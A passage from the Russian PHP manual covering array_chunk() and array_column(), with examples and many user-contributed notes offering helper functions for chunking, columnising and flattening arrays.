Возвращает многомерный индексный массив (индексация начинается с нуля), в котором каждый элемент первого уровня содержит length элементов.

Ошибки

Если параметр length меньше 1, будет выброшено исключение ValueError.

Список изменений

Версия | Описание
8.0.0 | Если параметр length меньше 1, будет выброшено исключение ValueError; ранее, вместо этого выдавалась ошибка уровня E_WARNING и функция возвращала null.

Примеры

Пример #1 Пример использования функции array_chunk()

<?php

$input_array = array('a', 'b', 'c', 'd', 'e');
print_r(array_chunk($input_array, 2));
print_r(array_chunk($input_array, 2, true));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [0] => c
            [1] => d
        )

    [2] => Array
        (
            [0] => e
        )

)
Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [2] => c
            [3] => d
        )

    [2] => Array
        (
            [4] => e
        )

)

Смотрите также

  • array_slice() - Выбирает срез массива

User Contributed Notes

leon at valkenb dot org 13-May-2021 02:24
With no luck finding a function; here is the one I wrote:
It will evenly distribute items into a fixed amount of groups but also keeps items that were sorted close together to be in the same output groups.
<?php
function distributed_array_chunk(array $items, int $groups, bool $preserveKeys = false) {

    $grouped = [];
    $groupsPerItem = $groups /  count($items);
    $progress = 0.00;

    foreach ($items as $key => $value) {

        $index = floor($progress += $groupsPerItem);

        if ($preserveKeys) {
            $grouped[$index][$key] = $value;
        }
        else{
            $grouped[$index][] = $value;
        }
    }

    return $grouped;
}
?>
Anonymous 28-Dec-2020 04:21
Most easy way split array to parts

<?php

$arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];

print_r(array_chunk($arr, ceil(count($arr) / 2)));
// return: [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]]

print_r(array_chunk($arr, ceil(count($arr) / 3)));
// return: [[1, 2, 3, 4], [5, 6, 7, 8], [9, 10]]

?>
Andrew Martin 03-Jul-2018 03:43
To reverse an array_chunk, use array_merge, passing the chunks as a variadic:

<?php
$array = [1, 2, 3, 4, 5, 6, 7, 8, 9];

$chunks = array_chunk($array, 3);
// $chunks = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

$de_chunked = array_merge(...$chunks);
// $de_chunked = [1, 2, 3, 4, 5, 6, 7, 8, 9]
?>
suisuiruyi at aliyun dot com 03-Jun-2016 09:02
chunk array vertically

$arr    = range(1, 19);
function array_chunk_vertical($arr, $percolnum){
    $n = count($arr);
    $mod    = $n % $percolnum;
    $cols   = floor($n / $percolnum);
    $mod ? $cols++ : null ;
    $re     = array();
    for($col = 0; $col < $cols; $col++){
        for($row = 0; $row < $percolnum; $row++){
            if($arr){
                $re[$row][]   = array_shift($arr);
            }
        }
    }
    return $re;
}
$result = array_chunk_vertical($arr, 6);
foreach($result  as $row){
    foreach($row as $val){
        echo '['.$val.']';
    }
    echo '<br/>';
}
/*
[1][7][13][19]
[2][8][14]
[3][9][15]
[4][10][16]
[5][11][17]
[6][12][18]
 */
normiridium at gmail dot com 17-Apr-2016 10:55
A breakdown by groups with excess:

function array_chunk_greedy($arr, $count){
    $arr = array_chunk($arr, $count);
    if(($k = count($arr)-1) > 0){
        if(count($arr[$k]) < $count){
            $arr[$k-1] = array_merge($arr[$k-1], $arr[$k]);
            unset($arr[$k]);
        }
    }
    return $arr;
}

$arr = range(1, 13);
$arr = array_chunk_greedy($arr, 4);

print_r($arr);

[1,2,3,4,5,6,7,8,9,10,11,12,13] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13]

More examples:

[1,2,3,4,5,6,7,8,9,10,11,12] —> [1,2,3,4] [5,6,7,8] [9,10,11,12]
[1,2,3,4,5,6,7,8,9,10,11,12,13] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13,14]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13,14,15]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16] —> [1,2,3,4] [5,6,7,8] [9,10,11,12] [13,14,15,16]

Example report:

$arr = range(1, 45);
$arr = array_chunk_lazy($arr, 10);

$arr = array_map(function($sub_value) {
            return implode('<br>', $sub_value);
        }, $arr);

$title = '<h2>title</h2>';
$arr = $title.implode($title, $arr).$title;

echo $arr;
dustin at fivetechnology dot com 10-Mar-2016 06:22
Had need to chunk an object which implemented ArrayAccess Iterator Countable.  array_chunk wouldn't do it.  Should work for any list of things

<?php
   $listOfThings = array(1,2,3,4,5,6,7,8,9,10,11,12,13);
   print_r(chunk_iterable($listOfThings, 4);

  function chunk_iterable($listOfThings, $size) {
      $chunk = 0;
      $chunks = array_fill(0, ceil(count($listOfThings) / $size) - 1, array());
      $index = 0;
      foreach($listOfThings as $thing) {
        if ($index && $index % $size == 0) $chunk++;
        $chunks[$chunk][] = $thing;
        $index++;
      }
      return $chunks;
  }
?>
siddharthundare at gmail dot com 28-Sep-2015 09:00
<table>
<tr>
<?php

$array_chunkdata = array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25);
$chunk  = array_chunk($array_chunkdata,5);
$rev_counter = 2;

function for_chunk($chunk_data){

    echo "<td><table>";

      foreach($chunk_data as $key => $chunk_value)
      {
        echo "<tr><td>";
        echo $chunk_value;
        echo "</td></tr>";
      }
      echo "</table></td>";

}

foreach($chunk as $key => $chunk_data)
{
    if($rev_counter%2==0)
    {
      for_chunk($chunk_data);
    }
    else
    {
      $chunk_data =  array_reverse($chunk_data);

      for_chunk($chunk_data);

    }
  $rev_counter++;
}
?>
</tr>
</table>
/*
Output:
1
2
3
4
5

10
9
8
7
6

11
12
13
14
15

20
19
18
17
16

21
22
23
24
25
*/
Anonymous 20-May-2014 10:51
Couldn't get the array_chunk_values() working, so ended up with this implementation:

<?php
function array_chunk_columns($data, $num_columns) {
  $n = count($data);
  $per_column = floor($n / $num_columns);
  $rest = $n % $num_columns;

  $columns = array();
  $index = 0;
  for ($i = 0; $i < $num_columns; $i++) {
    // Add an extra item to each column while the column number is less than the
    // remainder.
    $add_rest = ($rest && ($i < $rest)) ? 1 : 0;
    $number = $per_column + $add_rest;
    $columns[] = array_slice($data, $index, $number);
    $index += $number;
  }

  return $columns;
}

?>
stratboy 16-Sep-2013 10:22
Hi, I've made  a function to split an array into chunks based on columns wanted. For example:

<?php $a = array(1,2,3,4,5,6,7,8); ?>

goal (say, for 3 columns):

<?php
array(
   array(1,2,3),
   array(4,5,6),
   array(7,8)
);
?>

<?php
function get_array_columns($array, $columns){

        $columns_map = array();
        for($i=0; $i<$columns; $i++){ $columns_map[] = 0; }//init columns

        //create map
        $count = count($array);
        $position = 0;
        while($count > 0){
            $columns_map[$position]++;
            $position = ($position < $columns-1) ? ++$position : 0;
            $count--;
        }

        //chunk the array based on map
        $chunked = array();
        foreach($columns_map as $map){
            $chunked[] = array_splice($array,0,$map);
        }

        return $chunked;
    }//end get_array_columns
?>
nate at ruggfamily dot com 19-Jul-2010 09:00
If you just want to grab one chunk from an array, you should use array_slice().
dead dot screamer at seznam dot cz 27-Jan-2009 02:28
This function can be used to reverse effect of <?php array_Chunk()?>.
<?php
function array_Unchunk($array)
{
    return call_User_Func_Array('array_Merge',$array);
}

header('Content-Type: text/plain');
$array=array(
    array(
            'Black Canyon City',
            'Chandler',
            'Flagstaff',
            'Gilbert',
            'Glendale',
            'Globe',
    ),
    array(
            'Mesa',
            'Miami',
            'Phoenix',
            'Peoria',
            'Prescott',
            'Scottsdale',
    ),
    array(
            'Sun City',
            'Surprise',
            'Tempe',
            'Tucson',
            'Wickenburg',
    ),
);
var_Dump(array_Unchunk($array));
?>

Output:
array(17) {
  [0]=>
  string(17) "Black Canyon City"
  [1]=>
  string(8) "Chandler"
  [2]=>
  string(9) "Flagstaff"
  [3]=>
  string(7) "Gilbert"
  [4]=>
  string(8) "Glendale"
  [5]=>
  string(5) "Globe"
  [6]=>
  string(4) "Mesa"
  [7]=>
  string(5) "Miami"
  [8]=>
  string(7) "Phoenix"
  [9]=>
  string(6) "Peoria"
  [10]=>
  string(8) "Prescott"
  [11]=>
  string(10) "Scottsdale"
  [12]=>
  string(8) "Sun City"
  [13]=>
  string(8) "Surprise"
  [14]=>
  string(5) "Tempe"
  [15]=>
  string(6) "Tucson"
  [16]=>
  string(10) "Wickenburg"
}
Rasmus Schultz (http://mindplay.dk) 23-Jan-2009 01:59
Unfortunately, this function only accepts real arrays, not iterable objects... For that, you need this function:

<?php

function break_array($array, $page_size) {

  $arrays = array();
  $i = 0;

  foreach ($array as $index => $item) {
    if ($i++ % $page_size == 0) {
      $arrays[] = array();
      $current = & $arrays[count($arrays)-1];
    }
    $current[] = $item;
  }

  return $arrays;

}

?>
OIS 10-Jun-2008 05:31
Response to azspot at gmail dot com function partition.

$columns = 3;
$citylist = array('Black Canyon City', 'Chandler', 'Flagstaff', 'Gilbert', 'Glendale', 'Globe', 'Mesa', 'Miami', 'Phoenix', 'Peoria', 'Prescott', 'Scottsdale', 'Sun City', 'Surprise', 'Tempe', 'Tucson', 'Wickenburg');
print_r(array_chunk($citylist, ceil(count($citylist) / $columns)));

Output:
Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
azspot at gmail dot com 08-May-2007 04:53
Tried to use an example below (#56022) for array_chunk_fixed that would "partition" or divide an array into a desired number of split lists -- a useful procedure for "chunking" up objects or text items into columns, or partitioning any type of data resource. However, there seems to be a flaw with array_chunk_fixed — for instance, try it with a nine item list and with four partitions. It results in 3 entries with 3 items, then a blank array.

So, here is the output of my own dabbling on the matter:

<?php

function partition( $list, $p ) {
    $listlen = count( $list );
    $partlen = floor( $listlen / $p );
    $partrem = $listlen % $p;
    $partition = array();
    $mark = 0;
    for ($px = 0; $px < $p; $px++) {
        $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
        $partition[$px] = array_slice( $list, $mark, $incr );
        $mark += $incr;
    }
    return $partition;
}

$citylist = array( "Black Canyon City", "Chandler", "Flagstaff", "Gilbert", "Glendale", "Globe", "Mesa", "Miami",
                   "Phoenix", "Peoria", "Prescott", "Scottsdale", "Sun City", "Surprise", "Tempe", "Tucson", "Wickenburg" );
print_r( partition( $citylist, 3 ) );

?>

Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
21-Mar-2006 04:19
Here my array_chunk_values( ) with values distributed by lines (columns are balanced as much as possible) :

<?php
    function array_chunk_vertical($data, $columns) {
        $n = count($data) ;
        $per_column = floor($n / $columns) ;
        $rest = $n % $columns ;

        // The map
        $per_columns = array( ) ;
        for ( $i = 0 ; $i < $columns ; $i++ ) {
            $per_columns[$i] = $per_column + ($i < $rest ? 1 : 0) ;
        }

        $tabular = array( ) ;
        foreach ( $per_columns as $rows ) {
            for ( $i = 0 ; $i < $rows ; $i++ ) {
                $tabular[$i][ ] = array_shift($data) ;
            }
        }

        return $tabular ;
    }

    header('Content-Type: text/plain') ;

    $data = array_chunk_vertical(range(1, 31), 7) ;
    foreach ( $data as $row ) {
        foreach ( $row as $value ) {
            printf('[%2s]', $value) ;
        }
        echo "\r\n" ;
    }

    /*
        Output :

        [ 1][ 6][11][16][20][24][28]
        [ 2][ 7][12][17][21][25][29]
        [ 3][ 8][13][18][22][26][30]
        [ 4][ 9][14][19][23][27][31]
        [ 5][10][15]
    */
?>
magick dit crow ot gmail dit com 16-Oct-2005 09:50
Mistake key did not do what I thought. A patch.

function array_bucket($array,$bucket_size)// bucket filter
{
    if (!is_array($array)) return false;
    $buckets=array_chunk($array,$bucket_size);// chop up array into bucket size units
    $I=0;
    foreach ($buckets as $bucket)
    {
        $new_array[$I++]=array_sum($bucket)/count($bucket);
    }
    return $new_array;// return new array
}
magick dit crow ot gmail dit com 15-Oct-2005 10:58
This function takes each few elements of an array and averages them together. It then places the averages in a new array. It is used to smooth out data. For example lets say you have a years worth of hit data to a site and you want to graph it by the week. Then use a bucket of 7 and graph the functions output.

function array_bucket($array, $bucket_size)  // bucket filter
{
    if (!is_array($array)) return false; // no empty arrays
    $buckets=array_chunk($array,$bucket_size);  // chop up array into bucket size units
    foreach ($buckets as $bucket) $new_array[key($buckets])=array_sum($bucket)/count($bucket);
    return $new_array;  // return new smooth array
}
webmaster at cafe-clope dot net 20-Aug-2005 04:27
based on the same syntax, useful about making columns :

<?php
function array_chunk_fixed($input, $num, $preserve_keys = FALSE) {
    $count = count($input) ;
    if($count)
        $input = array_chunk($input, ceil($count/$num), $preserve_keys) ;
    $input = array_pad($input, $num, array()) ;
    return $input ;
}

$array = array(1, 2, 3, 4, 5) ;
print_r(array_chunk($array, 2)) ;
print_r(array_chunk_fixed($array, 2)) ;
?>

---- array_chunk : fixed number of sub-items ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
        )
    [1] => Array(
            [0] => 3
            [1] => 4
        )

    [2] => Array(
            [0] => 5
        )
)

---- array_chunk : fixed number of columns ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => Array(
            [0] => 4
            [1] => 5
        )
)
phpm at nreynolds dot me dot uk 17-Dec-2004 04:21
array_chunk() is helpful when constructing tables with a known number of columns but an unknown number of values, such as a calendar month. Example:

<?php

$values = range(1, 31);
$rows = array_chunk($values, 7);

print "<table>\n";
foreach ($rows as $row) {
    print "<tr>\n";
    foreach ($row as $value) {
        print "<td>" . $value . "</td>\n";
    }
    print "</tr>\n";
}
print "</table>\n";

?>

Outputs:

1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31

The other direction is possible too, with the aid of a function included at the bottom of this note. Changing this line:
  $rows = array_chunk($values, 7);

To this:
  $rows = array_chunk_vertical($values, 7);

Produces a vertical calendar with seven columns:

1 6  11 16 21 26 31
2 7  12 17 22 27
3 8  13 18 23 28
4 9  14 19 24 29
5 10 15 20 25 30

You can also specify that $size refers to the number of rows, not columns:
  $rows = array_chunk_vertical($values, 7, false, false);

Producing this:

1 8  15 22 29
2 9  16 23 30
3 10 17 24 31
4 11 18 25
5 12 19 26
6 13 20 27
7 14 21 28

The function:

<?php

function array_chunk_vertical($input, $size, $preserve_keys = false, $size_is_horizontal = true)
{
    $chunks = array();

    if ($size_is_horizontal) {
        $chunk_count = ceil(count($input) / $size);
    } else {
        $chunk_count = $size;
    }

    for ($chunk_index = 0; $chunk_index < $chunk_count; $chunk_index++) {
        $chunks[] = array();
    }

    $chunk_index = 0;
    foreach ($input as $key => $value)
    {
        if ($preserve_keys) {
            $chunks[$chunk_index][$key] = $value;
        } else {
            $chunks[$chunk_index][] = $value;
        }

        if (++$chunk_index == $chunk_count) {
            $chunk_index = 0;
        }
    }

    return $chunks;
}

?>
mick at vandermostvanspijk dot nl 07-Apr-2004 03:02
[Editors note: This function was based on a previous function by gphemsley at nospam users dot sourceforge.net]

For those of you that need array_chunk() for PHP < 4.2.0, this function should do the trick:

<?php
if (!function_exists('array_chunk')) {
    function array_chunk( $input, $size, $preserve_keys = false) {
        @reset( $input );

        $i = $j = 0;

        while( @list( $key, $value ) = @each( $input ) ) {
            if( !( isset( $chunks[$i] ) ) ) {
               $chunks[$i] = array();
            }

            if( count( $chunks[$i] ) < $size ) {
                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $chunks[$i][] = $value;
                }
            } else {
                $i++;

                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $j = 0;
                    $chunks[$i][$j] = $value;
                }
            }
        }

        return $chunks;
    }
}
?>


Возвращает массив из значений одного столбца входного массива

  • « array_chunk
  • array_combine »
  • PHP Manual
  • Функции для работы с массивами
  • Возвращает массив из значений одного столбца входного массива

array_column

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

array_column — Возвращает массив из значений одного столбца входного массива

Описание

array_column(array $array, int|string|null $column_key, int|string|null $index_key = null): array

Функция array_column() возвращает значения одного столбца массива (array), обозначенного ключом column_key. Чтобы проиндексировать значения возвращаемого массива значениями столбца index_key входного массива, задают необязательный параметр index_key.

Список параметров

array

Многомерный массив или массив объектов, из которого будет извлекаться столбец значений. Если задан массив объектов, то разрешено выбирать любые его общедоступные свойства. Чтобы извлечь закрытые или защищённые свойства, в классе нужно реализовать два магических метода — __get() и __isset().

column_key

Ключ столбца, значения которого нужно вернуть. Разрешено передавать как целочисленный ключ столбца, так и строковое название ключа ассоциативного массива или свойства объекта, значения которого нужно получить. В параметр также разрешено передавать значение null для возврата полных массивов или объектов (это будет полезно при одновременной передаче параметра index_key, чтобы переиндексировать массив).

index_key

Столбец, значения которого будут ключами или индексами возвращаемого массива. Разрешено указывать как целочисленный ключ столбца, так и строковое название ключа. Значение приводится как обычно для ключей массива (однако, до PHP 8.0.0 объекты, поддерживающие преобразование к строке, были также разрешены).

Возвращаемые значения

Возвращает массив из значений одного столбца или свойства объекта входного массива.

Список изменений

Версия | Описание
8.0.0 | Объекты в столбцах, обозначенные параметром index_key, больше не будут преобразованы в строку и вместо этого будут выбрасывать исключение TypeError.

Примеры

Пример #1 Получим столбец с именами из набора записей

<?php

// Массив, представляющий набор записей, возвращённых из базы данных
$records = array(
array(
'id' => 2135,
'first_name' => 'John',
'last_name' => 'Doe',
),
array(
'id' => 3245,
'first_name' => 'Sally',
'last_name' => 'Smith',
),
array(
'id' => 5342,
'first_name' => 'Jane',
'last_name' => 'Jones',
),
array(
'id' => 5623,
'first_name' => 'Peter',
'last_name' => 'Doe',
)
);

$first_names = array_column($records, 'first_name');
print_r($first_names);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => John
    [1] => Sally
    [2] => Jane
    [3] => Peter
)

Пример #2 Получим столбец фамилий из набора записей, проиндексировав их значениями столбца «id»

<?php

// Используем массив $records из первого примера
$last_names = array_column($records, 'last_name', 'id');
print_r($last_names);
?>

Результат выполнения приведённого примера:

Array
(
    [2135] => Doe
    [3245] => Smith
    [5342] => Jones
    [5623] => Doe
)

Пример #3 Получим столбец имён пользователей из общедоступного свойства «username» объекта

<?php

class User
{
public $username;

public function __construct(string $username)
{
$this->username = $username;
}
}

$users = [
new User('user 1'),
new User('user 2'),
new User('user 3'),
];

print_r(array_column($users, 'username'));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => user 1
    [1] => user 2
    [2] => user 3
)

Пример #4 Получим столбец имён пользователей из приватного свойства «name» объекта, определив магический метод __get().

<?php

class Person
{
private $name;

public function __construct(string $name)
{
$this->name = $name;
}

public function __get($prop)
{
return $this->$prop;
}

public function __isset($prop) : bool
{
return isset($this->$prop);
}
}

$people = [
new Person('Fred'),
new Person('Jane'),
new Person('John'),
];

print_r(array_column($people, 'name'));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fred
    [1] => Jane
    [2] => John
)
Если в объекте не будет метода __isset(), то вернётся пустой массив.

User Contributed Notes

Rumour 02-Dec-2023 07:46
If you want to preserve the array keys AND you want it to work on both object properties and array elements AND you want it to work if some of the arrays/objects in the array do not have the given key/property defined, basically the most ROBUST version you can get, yet quick enough:

<?php
function array_column_keys(array|ArrayAccess $arr, string $col) {
    // like array_columns but keeps the keys
    //to make it work for objects and arrays

    return array_map(fn($e) => (is_countable($e) ? ($e[$col]??null) : null) ?: (is_object($e) ? $e->$col : null), $arr);
}

?>

If a key/property is undefined, the value in the result array will be NULL. You can use array_filter() to filter those out if needed.

<?php

class a {
   public string $a = 'property a';
   public string $b = 'property b';
}

$a1 = new a;
$a2 = new a;
$a2->a = 'plop';

$b = ['one'=> ['a'=>'plop'],
      3    => $a1,
      4    => $a2,
      5    =>[],
      'kud'=>new a];

return array_column_keys($b, 'a');

?>

Returns:

Array
(
    [one] => plop
    [3] => property a
    [4] => something else
    [5] =>
    [kud] => property a
)
opencart dot ocfilter at gmail dot com 12-Apr-2023 03:40
Array multiple columns:

<?php
function array_columns() {
  $args = func_get_args();

  $array = array_shift($args);

  if (!$args) {
    return $array;
  }

  $keys = array_flip($args);

  return array_map(function($element) use($keys) {
    return array_intersect_key($element, $keys);
  }, $array);
}
?>
EXAMPLE:
<?php
$products = [
  [
    'id' => 2,
    'name' => 'Phone',
    'price' => 210.3
  ],
  [
    'id' => 3,
    'name' => 'Laptop',
    'price' => 430.12
  ]
];

print_r(array_columns($products, 'name', 'price'));
?>

Output:

Array
(
    [0] => Array
        (
            [name] => Phone
            [price] => 210.3
        )

    [1] => Array
        (
            [name] => Laptop
            [price] => 430.12
        )

)
info at mobger dot de 04-Feb-2023 06:59
If you want to rearrage an array with two layers (perhaps from database-requests), then use 'array_walk' instead:

<?php

    $yamlList = [
        ['title' => 'hallo ich', 'identifier' => 'ich', 'Klaus'=> 'doof',],
        ['title' => 'hallo du', 'identifier' => 'du', 'Klaus'=> 'doof',],
        ['title' => 'hallo er', 'identifier' => 'er', 'Klaus'=> 'doof',],
    ];
    echo ('Input'."\n".print_r($yamlList,true)."\n");
    array_walk($yamlList, function (&$value, $key) {
        $value = [
            $value['title'],
            $value['identifier'],
        ];
    });
    echo ("\n".'Output'."\n".print_r($yamlList,true)."\n");
?>

The Result
===========
...
Output
Array
(
    [0] => Array
        (
            [0] => hallo ich
            [1] => ich
        )

    [1] => Array
        (
            [0] => hallo du
            [1] => du
        )

    [2] => Array
        (
            [0] => hallo er
            [1] => er
        )

)
oleg dot bolden at gmail dot com 11-May-2022 02:38
Index_key is safely applicable only in cases when corresponding values of this index are unique through over the array. Otherwise only the latest element of the array with the same index_key value will be picked up.

<?php
$records = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
        'company_id' => 1,
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
        'company_id' => 1,
    ),
    array(
        'id' => 5342,
        'first_name' => 'Jane',
        'last_name' => 'Jones',
        'company_id' => 1,
    ),
    array(
        'id' => 5623,
        'first_name' => 'Peter',
        'last_name' => 'Doe',
        'company_id' => 2,
    )
);

$first_names = array_column($records, 'first_name', 'company_id');
print_r($first_names);
?>

The above example will output:

<?php
Array
(
    [1] => Jane
    [2] => Peter
)
?>

To group values by the same `index_key` in arrays one can use simple replacement for the `array_column` like below example function:

<?php
function arrayed_column(array $array, int|string $column_key, int|string $index_key) {
        $output = [];
        foreach ($array as $item) {
            $output[$item['index_key']][] = $item['column_key'];
        }

        return $output;
}

$first_names = arrayed_column($records, 'first_name', 'company_id');
print_r($first_names);
?>

The output:

<?php
Array
(
    [1] => Array
        (
            [0] => John
            [1] => Sally
            [2] => Jane
        )
    [2] => Array
        (
            [0] =>Peter
        )
)
?>
Sbastien 25-Apr-2022 07:02
The counterpart of array_column(), namely create an array from columns, can be done with array_map() :

<?php

// Columns
$lastnames = ['Skywalker', 'Organa', 'Kenobi'];
$firstnames = ['Luke', 'Leia', 'Obiwan'];

// Columns to array
$characters = array_map(
    fn ($l, $f) => ['lastname' => $l, 'firstname' => $f],
    $lastnames, $firstnames
);

print_r($characters);

/*
    [
         0 => ['lastname' => 'Skywalker', 'firstname' => 'Luke']
         1 => ['lastname' => 'Organa', 'firstname' => 'Leia']
         2 => ['lastname' => 'Kenobi', 'firstname' => 'Obiwan']
    ]
*/
Hiranmoy Chatterjee 23-Mar-2022 06:01
The following function may be useful to create columns from all values of indexed arrays:

<?php
function array_column_all(array $arrays): array
{
    $output = [];
    $columnCount = count($arrays[0]);
    for ($i = 0; $i < $columnCount; $i++)
    {
        $output [] = array_column($arrays, $i);
    }
    return $output;
}
?>

Use:
-----
<?php
array_column_all(
    [
        ['A1', 'A2', 'A3'],
        ['B1', 'B2', 'B3'],
        ['C1', 'C2', 'C3'],
    ]
);
?>

This will output:
-------------------
Array
(
    [0] => Array
        (
            [0] => A1
            [1] => B1
            [2] => C1
        )

    [1] => Array
        (
            [0] => A2
            [1] => B2
            [2] => C2
        )

    [2] => Array
        (
            [0] => A3
            [1] => B3
            [2] => C3
        )

)
yangmeishu at live dot com 11-Jul-2020 02:19
Please note that if you use array_column to reset the index, when the index value is null, there will be different results in different PHP versions, examples
<?php

$array = [
    [
        'name' =>'Bob',
        'house' =>'big',
    ],
    [
        'name' =>'Alice',
        'house' =>'small',
    ],
    [
        'name' =>'Jack',
        'house' => null,
    ],
];
var_dump(array_column($array,null,'house'));

On 5.6.30, 7.0.0, 7.2.0 (not limited to) get the following results
array(3) {
  ["big"]=>
  array(2) {
    ["name"]=>
    string(3) "Bob"
    ["house"]=>
    string(3) "big"
  }
  ["small"]=>
  array(2) {
    ["name"]=>
    string(5) "Alice"
    ["house"]=>
    string(5) "small"
  }
  [0]=>
  array(2) {
    ["name"]=>
    string(4) "Jack"
    ["house"]=>
    NULL
  }
}

The new index, null will be converted to int, and can be incremented according to the previous index, that is, if Alice "house" is also null, then Alice's new index is "0", Jack's new index is "1"

On 7.1.21, 7.2.18, 7.4.8 (not limited to) will get the following results
array(3) {
  ["Big"]=>
  array(2) {
    ["name"]=>
    string(3) "Bob"
    ["house"]=>
    string(3) "Big"
  }
  ["small"]=>
  array(2) {
    ["name"]=>
    string(5) "Alice"
    ["house"]=>
    string(5) "small"
  }
  [""]=>
  array(2) {
    ["name"]=>
    string(4) "Jack"
    ["house"]=>
    NULL
  }
}

The new index null will be converted to an empty string
ff2 AT hotmail DOT co DOT uk 17-Aug-2018 07:40
Because the function was not available in my version of PHP, I wrote my own version and extended it a little based on my needs.

When you give an $indexkey value of -1 it preserves the associated array key values.

EXAMPLE:

$sample = array(
    'test1' => array(
        'val1' = 10,
        'val2' = 100
    ),
    'test2' => array(
        'val1' = 20,
        'val2' = 200
    ),
    'test3' => array(
        'val1' = 30,
        'val2' = 300
    )
);

print_r(array_column_ext($sample,'val1'));

OUTPUT:

Array
(
    [0] => 10
    [1] => 20
    [2] => 30
)

print_r(array_column_ext($sample,'val1',-1));

OUTPUT:

Array
(
    ['test1'] => 10
    ['test2'] => 20
    ['test3'] => 30
)

print_r(array_column_ext($sample,'val1','val2'));

OUTPUT:

Array
(
    [100] => 10
    [200] => 20
    [300] => 30
)

<?php
function array_column_ext($array, $columnkey, $indexkey = null) {
    $result = array();
    foreach ($array as $subarray => $value) {
        if (array_key_exists($columnkey,$value)) { $val = $array[$subarray][$columnkey]; }
        else if ($columnkey === null) { $val = $value; }
        else { continue; }

        if ($indexkey === null) { $result[] = $val; }
        elseif ($indexkey == -1 || array_key_exists($indexkey,$value)) {
            $result[($indexkey == -1)?$subarray:$array[$subarray][$indexkey]] = $val;
        }
    }
    return $result;
}
?>
balbuf 16-May-2018 02:54
This function does not preserve the original keys of the array (when not providing an index_key).

You can work around that like so:

<?php
// instead of
array_column($array, 'column');

// to preserve keys
array_combine(array_keys($array), array_column($array, 'column'));
?>
Dominik59 17-Aug-2017 02:26
Presented function is good when You want to flatten nested array base on only one column, but if You want to flatten whole array You can use this method:

/**
     * Method that transforms nested array into the flat one in below showed way:
     * [
     *      [
     *          [0]=>'today',
     *      ],
     *      [
     *          [0]=>'is',
     *          [1]=>'very',
     *          [2]=>   [
     *                      [0]=>'warm'
     *                  ],
     *      ],
     * ]
     *
     * Into:
     *
     * ['today','is','very','warm']
     *
     * @param $input
     * @return array
     */
    private function transformNestedArrayToFlatArray($input)
    {
        $output_array = [];
        if (is_array($input)) {
            foreach ($input as $value) {
                if (is_array($value)) {
                    $output_array = array_merge($output_array, $this->transformNestedArrayToFlatArray($value));
                } else {
                    array_push($output_array, $value);
                }
            }
        } else {
            array_push($output_array, $input);
        }

        return $output_array;
    }
robsonvnasc at gmail dot com 10-Aug-2017 05:11
Retrieve multiple columns from an array:

$columns_wanted = array('foo','bar');
$array = array('foo'=>1,'bar'=>2,'foobar'=>3);

$filtered_array = array_intersect_key(array_fill_keys($columns_wanted,''));

//filtered_array
// array('foo'=>1,'bar'=>2);
1184427175 at qq dot com 21-Jul-2017 02:52
//php < 5.5
if(function_exists('array_column'))
{
    function array_column($arr_data, $col)
    {
        $result = array_map(function($arr){return $arr[$col]}, $arr_data);
        return $result;
    }
}
katrinaelaine6 at gmail dot com 28-Feb-2017 07:13
array_column() will return duplicate values.

Instead of having to use array_unique(), use the $index_key as a hack.

**Caution: This may get messy when setting the $column_key and/or $index_key as integers.**

<?php

$records = [
        [ 'id' => 2135, 'first_name' => 'John' ],
    [ 'id' => 3245, 'first_name' => 'Sally' ],
    [ 'id' => 5342, 'first_name' => 'Jane' ],
    [ 'id' => 5623, 'first_name' => 'Peter' ],
        [ 'id' => 6982, 'first_name' => 'Sally' ]
];

print_r(array_unique(array_column($records, 'first_name')));

// Force uniqueness by making the key the value.
print_r(array_column($records, 'first_name', 'first_name'));
print_r(array_column($records, 'id', 'first_name'));

// Returns
/*

Array
(
    [0] => John
    [1] => Sally
    [2] => Jane
    [3] => Peter
)

Array
(
    [John] => John
    [Sally] => Sally
    [Jane] => Jane
    [Peter] => Peter
)

Array
(
    [John] => 2135
    [Sally] => 6982
    [Jane] => 5342
